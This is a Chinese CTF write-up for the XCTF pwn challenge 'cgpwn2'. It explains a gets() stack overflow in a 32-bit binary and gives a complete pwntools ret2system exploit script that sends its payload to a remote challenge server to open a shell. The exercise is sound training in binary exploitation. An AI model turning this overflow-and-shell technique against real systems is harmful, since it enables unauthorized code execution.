欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

攻防世界PWN-cgpwn2

程序员文章站 2022-05-15 21:51:14
...

题目:cgpwn2

攻防世界PWN-cgpwn2



拖进PE查看一下

32位程序

攻防世界PWN-cgpwn2
checksec查看

攻防世界PWN-cgpwn2
简单执行一下

攻防世界PWN-cgpwn2




开32位IDA

f5反编译main函数

攻防世界PWN-cgpwn2
main函数中直接就是输出了,输入的内容好像藏在了hello方法里

攻防世界PWN-cgpwn2
双击进去查看

攻防世界PWN-cgpwn2
单独拿出源码

char *hello()
{
  char *v0; // aaa@qq.com1
  signed int v1; // aaa@qq.com1
  unsigned int v2; // aaa@qq.com3
  char *v3; // aaa@qq.com5
  char s; // [sp+12h] [bp-26h]@1
  int v6; // [sp+14h] [bp-24h]@2

  v0 = &s;
  v1 = 30;
  if ( (unsigned int)&s & 2 )
  {
    *(_WORD *)&s = 0;
    v0 = (char *)&v6;
    v1 = 28;
  }
  v2 = 0;
  do
  {
    *(_DWORD *)&v0[v2] = 0;
    v2 += 4;
  }
  while ( v2 < (v1 & 0xFFFFFFFC) );
  v3 = &v0[v2];
  if ( v1 & 2 )
  {
    *(_WORD *)v3 = 0;
    v3 += 2;
  }
  if ( v1 & 1 )
    *v3 = 0;
  puts("please tell me your name");
  fgets(name, 50, stdin);
  puts("hello,you can leave some message here:");
  return gets(&s);
}

可以看到程序的最后是gets一个s,get就相当于read,s是我们输入的message信息的存储变量,猜测是要把s的地址全打满然后让溢出的内容被get到,双击变量s进入栈内存查看其偏移

攻防世界PWN-cgpwn2攻防世界PWN-cgpwn2攻防世界PWN-cgpwn2
摘出其中的重要地址

00000026  s #变量s地址
00000000  s  #基址指针
00000004  r  #read操作

偏移总量为:0x00000026 - 0x00000000 + 0x00000004

总共0x2A个地址,也就是42个字符 ,payload的雏形是:payload = 'A'*42或者payload = 'A'*0x2A

42个字符堵死s变量,溢出的内容给get,get到的应该是一个高权限的函数,去左侧找一下。

攻防世界PWN-cgpwn2
pwn函数能拿到system

攻防世界PWN-cgpwn2
找_system函数的地址:0x08048420

攻防世界PWN-cgpwn2
因此到目前为止payload的写法为:payload = ‘A’*0x2A + p32(0x08048420) 这样能让多余出来的内容溢出进get,从而让get拿到system,但在源码里的system需要一个command变量

攻防世界PWN-cgpwn2
于是shift + f12搜索字符串,发现没有bin/sh字符串,但考虑到我们的程序能够输入两次内容,第一次是name,第二次是message,因此我们可以通过构造最开始的name溢出到system的command中

攻防世界PWN-cgpwn2攻防世界PWN-cgpwn2
name地址:0x0804A080

知道了name地址有什么用?因为我们第一次输入的结果内容是存储在name这个地址里的,因此当我们的payload先后堵死42个字符并溢出进system函数并准备开始输入command的时候,我们把name的地址拼接在后面(前提我们已经在name的地址里输入了我们想要的bin/sh),这样就能让system执行对应的bin/sh权限

但同样注意一点,32位程序中,name地址作为一个变量值地址,其先后顺序是落后于函数的返回地址的,我们的main函数是return 0,也就是4个字符,先拼接上返回地址然后才是name地址,所以最终的payload拼接如下:

payload = 'A'*0x2A + p32(0x08048420) +p32(0) + p32(0x0804A080) 




构造脚本:

from pwn import *
r = remote("220.249.52.133",59695)
r.sendline('bin/sh')
payload = 'A'*0x2A + p32(0x08048420) +p32(0) + p32(0x0804A080) 
r.sendline(payload)
r.interactive()

执行:

攻防世界PWN-cgpwn2

相关标签: ctf pwn